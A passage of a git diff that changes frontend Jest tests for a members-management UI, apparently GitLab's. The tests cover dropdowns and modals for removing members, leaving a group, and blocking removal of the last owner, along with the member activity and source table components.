+ isAccessRequest: true,
+ isInvite: true,
+ userDeletionObstacles: { name: 'user', obstacles: [] },
+ ...propsData,
+ },
+ slots: {
+ default: text,
+ },
+ });
+ };
+
+ const findDropdownItem = () => wrapper.findComponent(GlDropdownItem);
+
+ beforeEach(() => {
+ createComponent();
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders a slot with red text', () => {
+ expect(findDropdownItem().html()).toContain(`<span class="gl-text-red-500">${text}</span>`);
+ });
+
+ it('calls Vuex action to show `remove member` modal when clicked', () => {
+ findDropdownItem().vm.$emit('click');
+
+ expect(actions.showRemoveMemberModal).toHaveBeenCalledWith(expect.any(Object), {
+ ...modalData,
+ preventRemoval: false,
+ });
+ });
+});
diff --git a/spec/frontend/members/components/action_dropdowns/user_action_dropdown_spec.js b/spec/frontend/members/components/action_dropdowns/user_action_dropdown_spec.js
new file mode 100644
index 00000000000..5a2de1cac80
--- /dev/null
+++ b/spec/frontend/members/components/action_dropdowns/user_action_dropdown_spec.js
@@ -0,0 +1,220 @@
+import { shallowMount } from '@vue/test-utils';
+import { sprintf } from '~/locale';
+import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
+import LeaveGroupDropdownItem from '~/members/components/action_dropdowns/leave_group_dropdown_item.vue';
+import RemoveMemberDropdownItem from '~/members/components/action_dropdowns/remove_member_dropdown_item.vue';
+import UserActionDropdown from '~/members/components/action_dropdowns/user_action_dropdown.vue';
+import { I18N } from '~/members/components/action_dropdowns/constants';
+import {
+ MEMBER_MODEL_TYPE_GROUP_MEMBER,
+ MEMBER_MODEL_TYPE_PROJECT_MEMBER,
+} from '~/members/constants';
+import { parseUserDeletionObstacles } from '~/vue_shared/components/user_deletion_obstacles/utils';
+import { member, orphanedMember } from '../../mock_data';
+
+describe('UserActionDropdown', () => {
+ let wrapper;
+
+ const createComponent = (propsData = {}) => {
+ wrapper = shallowMount(UserActionDropdown, {
+ propsData: {
+ member,
+ isCurrentUser: false,
+ isInvitedUser: false,
+ ...propsData,
+ },
+ directives: {
+ GlTooltip: createMockDirective(),
+ },
+ });
+ };
+
+ const findRemoveMemberDropdownItem = () => wrapper.findComponent(RemoveMemberDropdownItem);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('when user has `canRemove` permissions', () => {
+ beforeEach(() => {
+ createComponent({
+ permissions: {
+ canRemove: true,
+ },
+ });
+ });
+
+ it('renders remove member dropdown with correct text', () => {
+ const removeMemberDropdownItem = findRemoveMemberDropdownItem();
+ expect(removeMemberDropdownItem.exists()).toBe(true);
+ expect(removeMemberDropdownItem.html()).toContain(I18N.removeMember);
+ });
+
+ it('displays a tooltip', () => {
+ const tooltip = getBinding(wrapper.element, 'gl-tooltip');
+ expect(tooltip).not.toBeUndefined();
+ expect(tooltip.value).toBe(I18N.actions);
+ });
+
+ it('sets props correctly', () => {
+ expect(findRemoveMemberDropdownItem().props()).toEqual({
+ memberId: member.id,
+ memberModelType: MEMBER_MODEL_TYPE_GROUP_MEMBER,
+ modalMessage: sprintf(
+ I18N.confirmNormalUserRemoval,
+ {
+ userName: member.user.name,
+ group: member.source.fullName,
+ },
+ false,
+ ),
+ isAccessRequest: false,
+ isInvite: false,
+ userDeletionObstacles: {
+ name: member.user.name,
+ obstacles: parseUserDeletionObstacles(member.user),
+ },
+ preventRemoval: false,
+ });
+ });
+
+ describe('when member is orphaned', () => {
+ it('sets `message` prop correctly', () => {
+ createComponent({
+ member: orphanedMember,
+ permissions: {
+ canRemove: true,
+ },
+ });
+
+ expect(findRemoveMemberDropdownItem().props('modalMessage')).toBe(
+ sprintf(I18N.confirmOrphanedUserRemoval, { group: orphanedMember.source.fullName }),
+ );
+ });
+ });
+
+ describe('when member is the current user', () => {
+ it('renders leave dropdown with correct text', () => {
+ createComponent({
+ isCurrentUser: true,
+ permissions: {
+ canRemove: true,
+ },
+ });
+
+ const leaveGroupDropdownItem = wrapper.findComponent(LeaveGroupDropdownItem);
+ expect(leaveGroupDropdownItem.exists()).toBe(true);
+ expect(leaveGroupDropdownItem.html()).toContain(I18N.leaveGroup);
+ });
+ });
+ });
+
+ describe('when user does not have `canRemove` permissions', () => {
+ it('does not render remove member dropdown', () => {
+ createComponent({
+ permissions: {
+ canRemove: false,
+ },
+ });
+
+ expect(findRemoveMemberDropdownItem().exists()).toBe(false);
+ });
+ });
+
+ describe('when user can remove but it is blocked by last owner', () => {
+ const permissions = {
+ canRemove: false,
+ canRemoveBlockedByLastOwner: true,
+ };
+
+ it('renders remove member dropdown', () => {
+ createComponent({
+ permissions,
+ });
+
+ expect(findRemoveMemberDropdownItem().exists()).toBe(true);
+ });
+
+ describe('when member model type is `GroupMember`', () => {
+ it('passes correct message to the modal', () => {
+ createComponent({
+ permissions,
+ });
+
+ expect(findRemoveMemberDropdownItem().props('modalMessage')).toBe(
+ I18N.lastGroupOwnerCannotBeRemoved,
+ );
+ });
+ });
+
+ describe('when member model type is `ProjectMember`', () => {
+ it('passes correct message to the modal', () => {
+ createComponent({
+ member: {
+ ...member,
+ type: MEMBER_MODEL_TYPE_PROJECT_MEMBER,
+ },
+ permissions,
+ });
+
+ expect(findRemoveMemberDropdownItem().props('modalMessage')).toBe(
+ I18N.personalProjectOwnerCannotBeRemoved,
+ );
+ });
+ });
+
+ describe('when member is the current user', () => {
+ it('renders leave dropdown with correct props', () => {
+ createComponent({
+ isCurrentUser: true,
+ permissions,
+ });
+
+ expect(wrapper.findComponent(LeaveGroupDropdownItem).props()).toEqual({
+ member,
+ permissions,
+ });
+ });
+ });
+ });
+
+ describe('when group member', () => {
+ beforeEach(() => {
+ createComponent({
+ member: {
+ ...member,
+ type: MEMBER_MODEL_TYPE_GROUP_MEMBER,
+ },
+ permissions: {
+ canRemove: true,
+ },
+ });
+ });
+
+ it('sets member type correctly', () => {
+ expect(findRemoveMemberDropdownItem().props().memberModelType).toBe(
+ MEMBER_MODEL_TYPE_GROUP_MEMBER,
+ );
+ });
+ });
+
+ describe('when project member', () => {
+ beforeEach(() => {
+ createComponent({
+ member: {
+ ...member,
+ type: MEMBER_MODEL_TYPE_PROJECT_MEMBER,
+ },
+ permissions: {
+ canRemove: true,
+ },
+ });
+ });
+
+ it('sets member type correctly', () => {
+ expect(findRemoveMemberDropdownItem().props().memberModelType).toBe(
+ MEMBER_MODEL_TYPE_PROJECT_MEMBER,
+ );
+ });
+ });
+});
diff --git a/spec/frontend/members/components/modals/leave_modal_spec.js b/spec/frontend/members/components/modals/leave_modal_spec.js
index cdbabb2f646..ba587c6f0b3 100644
--- a/spec/frontend/members/components/modals/leave_modal_spec.js
+++ b/spec/frontend/members/components/modals/leave_modal_spec.js
@@ -1,11 +1,14 @@
import { GlModal, GlForm } from '@gitlab/ui';
-import { within } from '@testing-library/dom';
-import { mount, createWrapper } from '@vue/test-utils';
import { cloneDeep } from 'lodash';
import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
+import { mountExtended, extendedWrapper } from 'helpers/vue_test_utils_helper';
import LeaveModal from '~/members/components/modals/leave_modal.vue';
-import { LEAVE_MODAL_ID, MEMBER_TYPES } from '~/members/constants';
+import {
+ LEAVE_MODAL_ID,
+ MEMBER_TYPES,
+ MEMBER_MODEL_TYPE_PROJECT_MEMBER,
+} from '~/members/constants';
import UserDeletionObstaclesList from '~/vue_shared/components/user_deletion_obstacles/user_deletion_obstacles_list.vue';
import { parseUserDeletionObstacles } from '~/vue_shared/components/user_deletion_obstacles/utils';
import { member } from '../../mock_data';
@@ -31,14 +34,17 @@ describe('LeaveModal', () => {
});
};
- const createComponent = (propsData = {}, state) => {
- wrapper = mount(LeaveModal, {
+ const createComponent = async (propsData = {}, state) => {
+ wrapper = mountExtended(LeaveModal, {
store: createStore(state),
provide: {
namespace: MEMBER_TYPES.user,
},
propsData: {
member,
+ permissions: {
+ canRemove: true,
+ },
...propsData,
},
attrs: {
@@ -46,39 +52,98 @@ describe('LeaveModal', () => {
visible: true,
},
});
+
+ await nextTick();
};
- const findModal = () => wrapper.findComponent(GlModal);
+ const findModal = () => extendedWrapper(wrapper.findComponent(GlModal));
const findForm = () => findModal().findComponent(GlForm);
const findUserDeletionObstaclesList = () => findModal().findComponent(UserDeletionObstaclesList);
- const getByText = (text, options) =>
- createWrapper(within(findModal().element).getByText(text, options));
-
- beforeEach(async () => {
- createComponent();
- await nextTick();
- });
-
afterEach(() => {
wrapper.destroy();
});
- it('sets modal ID', () => {
+ it('sets modal ID', async () => {
+ await createComponent();
+
expect(findModal().props('modalId')).toBe(LEAVE_MODAL_ID);
});
- it('displays modal title', () => {
- expect(getByText(`Leave "${member.source.fullName}"`).exists()).toBe(true);
+ describe('when leave is allowed', () => {
+ it('displays modal title', async () => {
+ await createComponent();
+
+ expect(findModal().findByText(`Leave "${member.source.fullName}"`).exists()).toBe(true);
+ });
+
+ it('displays modal body', async () => {
+ await createComponent();
+
+ expect(
+ findModal()
+ .findByText(`Are you sure you want to leave "${member.source.fullName}"?`)
+ .exists(),
+ ).toBe(true);
+ });
});
- it('displays modal body', () => {
- expect(getByText(`Are you sure you want to leave "${member.source.fullName}"?`).exists()).toBe(
- true,
- );
+ describe('when leave is blocked by last owner', () => {
+ const permissions = {
+ canRemove: false,
+ canRemoveBlockedByLastOwner: true,
+ };
+
+ it('does not show primary action button', async () => {
+ await createComponent({
+ permissions,
+ });
+
+ expect(findModal().props('actionPrimary')).toBe(null);
+ });
+
+ it('displays modal title', async () => {
+ await createComponent({
+ permissions,
+ });
+
+ expect(findModal().findByText(`Cannot leave "${member.source.fullName}"`).exists()).toBe(
+ true,
+ );
+ });
+
+ describe('when member model type is `GroupMember`', () => {
+ it('displays modal body', async () => {
+ await createComponent({
+ permissions,
+ });
+
+ expect(
+ findModal().findByText(LeaveModal.i18n.preventedBodyGroupMemberModelType).exists(),
+ ).toBe(true);
+ });
+ });
+
+ describe('when member model type is `ProjectMember`', () => {
+ it('displays modal body', async () => {
+ await createComponent({
+ member: {
+ ...member,
+ type: MEMBER_MODEL_TYPE_PROJECT_MEMBER,
+ },
+ permissions,
+ });
+
+ expect(
+ findModal().findByText(LeaveModal.i18n.preventedBodyProjectMemberModelType).exists(),
+ ).toBe(true);
+ });
+ });
});
- it('displays form with correct action and inputs', () => {
+ it('displays form with correct action and inputs', async () => {
+ await createComponent();
+
const form = findForm();
expect(form.attributes('action')).toBe('/groups/foo-bar/-/group_members/leave');
@@ -89,7 +154,9 @@ describe('LeaveModal', () => {
});
describe('User deletion obstacles list', () => {
- it("displays obstacles list when member's user is part of on-call management", () => {
+ it("displays obstacles list when member's user is part of on-call management", async () => {
+ await createComponent();
+
const obstaclesList = findUserDeletionObstaclesList();
expect(obstaclesList.exists()).toBe(true);
expect(obstaclesList.props()).toMatchObject({
@@ -105,17 +172,18 @@ describe('LeaveModal', () => {
delete memberWithoutOncall.user.oncallSchedules;
delete memberWithoutOncall.user.escalationPolicies;
- createComponent({ member: memberWithoutOncall });
- await nextTick();
+ await createComponent({ member: memberWithoutOncall });
expect(findUserDeletionObstaclesList().exists()).toBe(false);
});
});
- it('submits the form when "Leave" button is clicked', () => {
+ it('submits the form when "Leave" button is clicked', async () => {
+ await createComponent();
+
const submitSpy = jest.spyOn(findForm().element, 'submit');
- getByText('Leave').trigger('click');
+ findModal().findByText('Leave').trigger('click');
expect(submitSpy).toHaveBeenCalled();
diff --git a/spec/frontend/members/components/modals/remove_member_modal_spec.js b/spec/frontend/members/components/modals/remove_member_modal_spec.js
index 59b112492b8..47a03b5083a 100644
--- a/spec/frontend/members/components/modals/remove_member_modal_spec.js
+++ b/spec/frontend/members/components/modals/remove_member_modal_spec.js
@@ -3,7 +3,11 @@ import { shallowMount } from '@vue/test-utils';
import Vue from 'vue';
import Vuex from 'vuex';
import RemoveMemberModal from '~/members/components/modals/remove_member_modal.vue';
-import { MEMBER_TYPES } from '~/members/constants';
+import {
+ MEMBER_TYPES,
+ MEMBER_MODEL_TYPE_GROUP_MEMBER,
+ MEMBER_MODEL_TYPE_PROJECT_MEMBER,
+} from '~/members/constants';
import { OBSTACLE_TYPES } from '~/vue_shared/components/user_deletion_obstacles/constants';
import UserDeletionObstaclesList from '~/vue_shared/components/user_deletion_obstacles/user_deletion_obstacles_list.vue';
@@ -55,16 +59,16 @@ describe('RemoveMemberModal', () => {
});
describe.each`
- state | memberType | isAccessRequest | isInvite | actionText | removeSubMembershipsCheckboxExpected | unassignIssuablesCheckboxExpected | message | userDeletionObstacles | isPartOfOncall
- ${'removing a group member'} | ${'GroupMember'} | ${false} | ${false} | ${'Remove member'} | ${true} | ${true} | ${'Are you sure you want to remove Jane Doe from the Gitlab Org / Gitlab Test project?'} | ${{}} | ${false}
- ${'removing a project member'} | ${'ProjectMember'} | ${false} | ${false} | ${'Remove member'} | ${false} | ${true} | ${'Are you sure you want to remove Jane Doe from the Gitlab Org / Gitlab Test project?'} | ${mockObstacles} | ${true}
- ${'denying an access request'} | ${'ProjectMember'} | ${true} | ${false} | ${'Deny access request'} | ${false} | ${false} | ${"Are you sure you want to deny Jane Doe's request to join the Gitlab Org / Gitlab Test project?"} | ${{}} | ${false}
- ${'revoking invite'} | ${'ProjectMember'} | ${false} | ${true} | ${'Revoke invite'} | ${false} | ${false} | ${'Are you sure you want to revoke the invitation for foo@bar.com to join the Gitlab Org / Gitlab Test project?'} | ${mockObstacles} | ${false}
+ state | memberModelType | isAccessRequest | isInvite | actionText | removeSubMembershipsCheckboxExpected | unassignIssuablesCheckboxExpected | message | userDeletionObstacles | isPartOfOncall
+ ${'removing a group member'} | ${MEMBER_MODEL_TYPE_GROUP_MEMBER} | ${false} | ${false} | ${'Remove member'} | ${true} | ${true} | ${'Are you sure you want to remove Jane Doe from the Gitlab Org / Gitlab Test project?'} | ${{}} | ${false}
+ ${'removing a project member'} | ${MEMBER_MODEL_TYPE_PROJECT_MEMBER} | ${false} | ${false} | ${'Remove member'} | ${false} | ${true} | ${'Are you sure you want to remove Jane Doe from the Gitlab Org / Gitlab Test project?'} | ${mockObstacles} | ${true}
+ ${'denying an access request'} | ${MEMBER_MODEL_TYPE_PROJECT_MEMBER} | ${true} | ${false} | ${'Deny access request'} | ${false} | ${false} | ${"Are you sure you want to deny Jane Doe's request to join the Gitlab Org / Gitlab Test project?"} | ${{}} | ${false}
+ ${'revoking invite'} | ${MEMBER_MODEL_TYPE_PROJECT_MEMBER} | ${false} | ${true} | ${'Revoke invite'} | ${false} | ${false} | ${'Are you sure you want to revoke the invitation for foo@bar.com to join the Gitlab Org / Gitlab Test project?'} | ${mockObstacles} | ${false}
`(
'when $state',
({
actionText,
- memberType,
+ memberModelType,
isAccessRequest,
isInvite,
message,
@@ -79,7 +83,7 @@ describe('RemoveMemberModal', () => {
isInvite,
message,
memberPath,
- memberType,
+ memberModelType,
userDeletionObstacles,
});
});
@@ -133,4 +137,28 @@ describe('RemoveMemberModal', () => {
});
},
);
+
+ describe('when removal is prevented', () => {
+ const message =
+ 'A group must have at least one owner. To remove the member, assign a new owner.';
+
+ beforeEach(() => {
+ createComponent({
+ actionText: 'Remove member',
+ memberModelType: MEMBER_MODEL_TYPE_GROUP_MEMBER,
+ isAccessRequest: false,
+ isInvite: false,
+ message,
+ preventRemoval: true,
+ });
+ });
+
+ it('does not show primary action button', () => {
+ expect(findGlModal().props('actionPrimary')).toBe(null);
+ });
+
+ it('only shows the message', () => {
+ expect(findGlModal().text()).toBe(message);
+ });
+ });
});
diff --git a/spec/frontend/members/components/table/__snapshots__/member_activity_spec.js.snap b/spec/frontend/members/components/table/__snapshots__/member_activity_spec.js.snap
new file mode 100644
index 00000000000..a0d9bae8a0b
--- /dev/null
+++ b/spec/frontend/members/components/table/__snapshots__/member_activity_spec.js.snap
@@ -0,0 +1,61 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`MemberActivity with a member that does not have all of the fields renders \`User created\` field 1`] = `
+<div>
+ <!---->
+
+ <div>
+ <strong>
+ Access granted:
+ </strong>
+
+ <span>
+
+ Aug 06, 2020
+
+ </span>
+ </div>
+
+ <!---->
+</div>
+`;
+
+exports[`MemberActivity with a member that has all fields renders \`User created\`, \`Access granted\`, and \`Last activity\` fields 1`] = `
+<div>
+ <div>
+ <strong>
+ User created:
+ </strong>
+
+ <span>
+
+ Mar 10, 2022
+
+ </span>
+ </div>
+
+ <div>
+ <strong>
+ Access granted:
+ </strong>
+
+ <span>
+
+ Jul 17, 2020
+
+ </span>
+ </div>
+
+ <div>
+ <strong>
+ Last activity:
+ </strong>
+
+ <span>
+
+ Mar 15, 2022
+
+ </span>
+ </div>
+</div>
+`;
diff --git a/spec/frontend/members/components/table/created_at_spec.js b/spec/frontend/members/components/table/created_at_spec.js
index 793c122587d..fa31177564b 100644
--- a/spec/frontend/members/components/table/created_at_spec.js
+++ b/spec/frontend/members/components/table/created_at_spec.js
@@ -1,20 +1,18 @@
-import { within } from '@testing-library/dom';
-import { mount, createWrapper } from '@vue/test-utils';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
import { useFakeDate } from 'helpers/fake_date';
import CreatedAt from '~/members/components/table/created_at.vue';
-import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
describe('CreatedAt', () => {
// March 15th, 2020
useFakeDate(2020, 2, 15);
const date = '2020-03-01T00:00:00.000';
- const dateTimeAgo = '2 weeks ago';
+ const formattedDate = 'Mar 01, 2020';
let wrapper;
const createComponent = (propsData) => {
- wrapper = mount(CreatedAt, {
+ wrapper = mountExtended(CreatedAt, {
propsData: {
date,
...propsData,
@@ -22,9 +20,6 @@ describe('CreatedAt', () => {
});
};
- const getByText = (text, options) =>
- createWrapper(within(wrapper.element).getByText(text, options));
-
afterEach(() => {
wrapper.destroy();
});
@@ -35,11 +30,7 @@ describe('CreatedAt', () => {
});
it('displays created at text', () => {
- expect(getByText(dateTimeAgo).exists()).toBe(true);
- });
-
- it('uses `TimeAgoTooltip` component to display tooltip', () => {
- expect(wrapper.findComponent(TimeAgoTooltip).exists()).toBe(true);
+ expect(wrapper.findByText(formattedDate).exists()).toBe(true);
});
});
@@ -52,7 +43,7 @@ describe('CreatedAt', () => {
},
});
- const link = getByText('Administrator');
+ const link = wrapper.findByRole('link', { name: 'Administrator' });
expect(link.exists()).toBe(true);
expect(link.attributes('href')).toBe('https://gitlab.com/root');
diff --git a/spec/frontend/members/components/table/member_action_buttons_spec.js b/spec/frontend/members/components/table/member_action_buttons_spec.js
index 03cfc6ca0f6..402a5e9db27 100644
--- a/spec/frontend/members/components/table/member_action_buttons_spec.js
+++ b/spec/frontend/members/components/table/member_action_buttons_spec.js
@@ -2,7 +2,7 @@ import { shallowMount } from '@vue/test-utils';
import AccessRequestActionButtons from '~/members/components/action_buttons/access_request_action_buttons.vue';
import GroupActionButtons from '~/members/components/action_buttons/group_action_buttons.vue';
import InviteActionButtons from '~/members/components/action_buttons/invite_action_buttons.vue';
-import UserActionButtons from '~/members/components/action_buttons/user_action_buttons.vue';
+import UserActionDropdown from '~/members/components/action_dropdowns/user_action_dropdown.vue';
import MemberActionButtons from '~/members/components/table/member_action_buttons.vue';
import { MEMBER_TYPES } from '~/members/constants';
import { member as memberMock, group, invite, accessRequest } from '../../mock_data';
@@ -29,7 +29,7 @@ describe('MemberActionButtons', () => {
it.each`
memberType | member | expectedComponent | expectedComponentName
- ${MEMBER_TYPES.user} | ${memberMock} | ${UserActionButtons} | ${'UserActionButtons'}
+ ${MEMBER_TYPES.user} | ${memberMock} | ${UserActionDropdown} | ${'UserActionDropdown'}
${MEMBER_TYPES.group} | ${group} | ${GroupActionButtons} | ${'GroupActionButtons'}
${MEMBER_TYPES.invite} | ${invite} | ${InviteActionButtons} | ${'InviteActionButtons'}
${MEMBER_TYPES.accessRequest} | ${accessRequest} | ${AccessRequestActionButtons} | ${'AccessRequestActionButtons'}
diff --git a/spec/frontend/members/components/table/member_activity_spec.js b/spec/frontend/members/components/table/member_activity_spec.js
new file mode 100644
index 00000000000..a372b40fd1f
--- /dev/null
+++ b/spec/frontend/members/components/table/member_activity_spec.js
@@ -0,0 +1,40 @@
+import { mountExtended } from 'helpers/vue_test_utils_helper';
+import MemberActivity from '~/members/components/table/member_activity.vue';
+import { member as memberMock, group as groupLinkMock } from '../../mock_data';
+
+describe('MemberActivity', () => {
+ let wrapper;
+
+ const defaultPropsData = {
+ member: memberMock,
+ };
+
+ const createComponent = ({ propsData = {} } = {}) => {
+ wrapper = mountExtended(MemberActivity, {
+ propsData: {
+ ...defaultPropsData,
+ ...propsData,
+ },
+ });
+ };
+
+ describe('with a member that has all fields', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders `User created`, `Access granted`, and `Last activity` fields', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+ });
+
+ describe('with a member that does not have all of the fields', () => {
+ beforeEach(() => {
+ createComponent({ propsData: { member: groupLinkMock } });
+ });
+
+ it('renders `User created` field', () => {
+ expect(wrapper.element).toMatchSnapshot();
+ });
+ });
+});
diff --git a/spec/frontend/members/components/table/member_source_spec.js b/spec/frontend/members/components/table/member_source_spec.js
index 2cd888207b1..fbfd0ca7ae7 100644
--- a/spec/frontend/members/components/table/member_source_spec.js
+++ b/spec/frontend/members/components/table/member_source_spec.js
@@ -1,19 +1,25 @@
-import { getByText as getByTextHelper } from '@testing-library/dom';
-import { mount, createWrapper } from '@vue/test-utils';
+import { mountExtended } from 'helpers/vue_test_utils_helper';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import MemberSource from '~/members/components/table/member_source.vue';
describe('MemberSource', () => {
let wrapper;
+ const memberSource = {
+ id: 102,
+ fullName: 'Foo bar',
+ webUrl: 'https://gitlab.com/groups/foo-bar',
+ };
+
+ const createdBy = {
+ name: 'Administrator',
+ webUrl: 'https://gitlab.com/root',
+ };
+
const createComponent = (propsData) => {
- wrapper = mount(MemberSource, {
+ wrapper = mountExtended(MemberSource, {
propsData: {
- memberSource: {
- id: 102,
- fullName: 'Foo bar',
- webUrl: 'https://gitlab.com/groups/foo-bar',
- },
+ memberSource,
...propsData,
},
directives: {
@@ -22,9 +28,6 @@ describe('MemberSource', () => {
});
};
- const getByText = (text, options) =>
- createWrapper(getByTextHelper(wrapper.element, text, options));
-
const getTooltipDirective = (elementWrapper) => getBinding(elementWrapper.element, 'gl-tooltip');
afterEach(() => {
@@ -32,40 +35,69 @@ describe('MemberSource', () => {
});
describe('direct member', () => {
- it('displays "Direct member"', () => {
- createComponent({
- isDirectMember: true,
+ describe('when created by is available', () => {
+ it('displays "Direct member by <user name>"', () => {
+ createComponent({
+ isDirectMember: true,
+ createdBy,
+ });
+
+ expect(wrapper.text()).toBe('Direct member by Administrator');
+ expect(wrapper.findByRole('link', { name: createdBy.name }).attributes('href')).toBe(
+ createdBy.webUrl,
+ );
});
+ });
- expect(getByText('Direct member').exists()).toBe(true);
+ describe('when created by is not available', () => {
+ it('displays "Direct member"', () => {
+ createComponent({
+ isDirectMember: true,
+ });
+
+ expect(wrapper.text()).toBe('Direct member');
+ });
});
});
describe('inherited member', () => {
- let sourceGroupLink;
-
- beforeEach(() => {
- createComponent({
- isDirectMember: false,
+ describe('when created by is available', () => {
+ beforeEach(() => {
+ createComponent({
+ isDirectMember: false,
+ createdBy,
+ });
});
- sourceGroupLink = getByText('Foo bar');
+ it('displays "<group name> by <user name>"', () => {
+ expect(wrapper.text()).toBe('Foo bar by Administrator');
+ expect(wrapper.findByRole('link', { name: memberSource.fullName }).attributes('href')).toBe(
+ memberSource.webUrl,
+ );
+ expect(wrapper.findByRole('link', { name: createdBy.name }).attributes('href')).toBe(
+ createdBy.webUrl,
+ );
+ });
});
- it('displays a link to source group', () => {
- createComponent({
- isDirectMember: false,
+ describe('when created by is not available', () => {
+ beforeEach(() => {
+ createComponent({
+ isDirectMember: false,
+ });
});
- expect(sourceGroupLink.exists()).toBe(true);
- expect(sourceGroupLink.attributes('href')).toBe('https://gitlab.com/groups/foo-bar');
- });
+ it('displays a link to source group', () => {
+ expect(wrapper.text()).toBe(memberSource.fullName);
+ expect(wrapper.attributes('href')).toBe(memberSource.webUrl);
+ });
- it('displays tooltip with "Inherited"', () => {
- const tooltipDirective = getTooltipDirective(sourceGroupLink);
+ it('displays tooltip with "Inherited"', () => {
+ const tooltipDirective = getTooltipDirective(wrapper);
- expect(tooltipDirective).not.toBeUndefined();
- expect(sourceGroupLink.attributes('title')).toBe('Inherited');
+ expect(tooltipDirective).not.toBeUndefined();
+ expect(tooltipDirective.value).toBe('Inherited');
+ });
});
});
});
diff --git a/spec/frontend/members/components/table/members_table_cell_spec.js b/spec/frontend/members/components/table/members_table_cell_spec.js
index 0b0140b0cdb..ac5d83d028d 100644
--- a/spec/frontend/members/components/table/members_table_cell_spec.js
+++ b/spec/frontend/members/components/table/members_table_cell_spec.js
@@ -3,6 +3,7 @@ import Vue from 'vue';
import Vuex from 'vuex';
import MembersTableCell from '~/members/components/table/members_table_cell.vue';
import { MEMBER_TYPES } from '~/members/constants';
+import { canRemoveBlockedByLastOwner } from '~/members/utils';
import {
member as memberMock,
directMember,
@@ -12,6 +13,11 @@ import {
accessRequest,
} from '../../mock_data';
+jest.mock('~/members/utils', () => ({
+ ...jest.requireActual('~/members/utils'),
+ canRemoveBlockedByLastOwner: jest.fn().mockImplementation(() => true),
+}));
+
describe('MembersTableCell', () => {
const WrappedComponent = {
props: {
@@ -55,6 +61,7 @@ describe('MembersTableCell', () => {
provide: {
sourceId: 1,
currentUserId: 1,
+ canManageMembers: true,
},
scopedSlots: {
default: `
@@ -179,6 +186,15 @@ describe('MembersTableCell', () => {
});
});
+ describe('canRemoveBlockedByLastOwner', () => {
+ it('calls util and returns value', () => {
+ createComponentWithDirectMember();
+
+ expect(canRemoveBlockedByLastOwner).toHaveBeenCalledWith(directMember, true);
+ expect(findWrappedComponent().props('permissions').canRemoveBlockedByLastOwner).toBe(true);
+ });
+ });
+
describe('canResend', () => {
describe('when member type is `invite`', () => {
it('returns `true` when `canResend` is `true`', () => {
diff --git a/spec/frontend/members/components/table/members_table_spec.js b/spec/frontend/members/components/table/members_table_spec.js
index 0ed01396fcb..1d18026a410 100644
--- a/spec/frontend/members/components/table/members_table_spec.js
+++ b/spec/frontend/members/components/table/members_table_spec.js
@@ -8,9 +8,9 @@ import ExpirationDatepicker from '~/members/components/table/expiration_datepick
import MemberActionButtons from '~/members/components/table/member_action_buttons.vue';
import MemberAvatar from '~/members/components/table/member_avatar.vue';
import MemberSource from '~/members/components/table/member_source.vue';
+import MemberActivity from '~/members/components/table/member_activity.vue';
import MembersTable from '~/members/components/table/members_table.vue';
import RoleDropdown from '~/members/components/table/role_dropdown.vue';
-import UserDate from '~/vue_shared/components/user_date.vue';
import {
MEMBER_TYPES,
MEMBER_STATE_CREATED,
@@ -63,6 +63,7 @@ describe('MembersTable', () => {
provide: {
sourceId: 1,
currentUserId: 1,
+ canManageMembers: true,
namespace: MEMBER_TYPES.invite,
...provide,
},
@@ -106,16 +107,14 @@ describe('MembersTable', () => {
};
it.each`
- field | label | member | expectedComponent
- ${'account'} | ${'Account'} | ${memberMock} | ${MemberAvatar}
- ${'source'} | ${'Source'} | ${memberMock} | ${MemberSource}
- ${'granted'} | ${'Access granted'} | ${memberMock} | ${CreatedAt}
- ${'invited'} | ${'Invited'} | ${invite} | ${CreatedAt}
- ${'requested'} | ${'Requested'} | ${accessRequest} | ${CreatedAt}
- ${'maxRole'} | ${'Max role'} | ${memberCanUpdate} | ${RoleDropdown}
- ${'expiration'} | ${'Expiration'} | ${memberMock} | ${ExpirationDatepicker}
- ${'userCreatedAt'} | ${'Created on'} | ${memberMock} | ${UserDate}
- ${'lastActivityOn'} | ${'Last activity'} | ${memberMock} | ${UserDate}
+ field | label | member | expectedComponent
+ ${'account'} | ${'Account'} | ${memberMock} | ${MemberAvatar}
+ ${'source'} | ${'Source'} | ${memberMock} | ${MemberSource}
+ ${'invited'} | ${'Invited'} | ${invite} | ${CreatedAt}
+ ${'requested'} | ${'Requested'} | ${accessRequest} | ${CreatedAt}
+ ${'maxRole'} | ${'Max role'} | ${memberCanUpdate} | ${RoleDropdown}
+ ${'expiration'} | ${'Expiration'} | ${memberMock} | ${ExpirationDatepicker}
+ ${'activity'} | ${'Activity'} | ${memberMock} | ${MemberActivity}
`('renders the $label field', ({ field, label, member, expectedComponent }) => {
createComponent({
members: [member],
@@ -202,16 +201,23 @@ describe('MembersTable', () => {
canRemove: true,
};
+ const memberCanRemoveBlockedLastOwner = {
+ ...directMember,
+ canRemove: false,
+ isLastOwner: true,
+ };
+
const memberNoPermissions = {
...memberMock,
id: 2,
};
describe.each`
- permission | members
- ${'canUpdate'} | ${[memberNoPermissions, memberCanUpdate]}
- ${'canRemove'} | ${[memberNoPermissions, memberCanRemove]}
- ${'canResend'} | ${[memberNoPermissions, invite]}
+ permission | members
+ ${'canUpdate'} | ${[memberNoPermissions, memberCanUpdate]}
+ ${'canRemove'} | ${[memberNoPermissions, memberCanRemove]}
+ ${'canRemoveBlockedByLastOwner'} | ${[memberNoPermissions, memberCanRemoveBlockedLastOwner]}
+ ${'canResend'} | ${[memberNoPermissions, invite]}
`('when one of the members has $permission permissions', ({ members }) => {
it('renders the "Actions" field', () => {
createComponent({ members, tableFields: ['actions'] });
@@ -230,10 +236,11 @@ describe('MembersTable', () => {
});
describe.each`
- permission | members
- ${'canUpdate'} | ${[memberMock]}
- ${'canRemove'} | ${[memberMock]}
- ${'canResend'} | ${[{ ...invite, invite: { ...invite.invite, canResend: false } }]}
+ permission | members
+ ${'canUpdate'} | ${[memberMock]}
+ ${'canRemove'} | ${[memberMock]}
+ ${'canRemoveBlockedByLastOwner'} | ${[memberMock]}
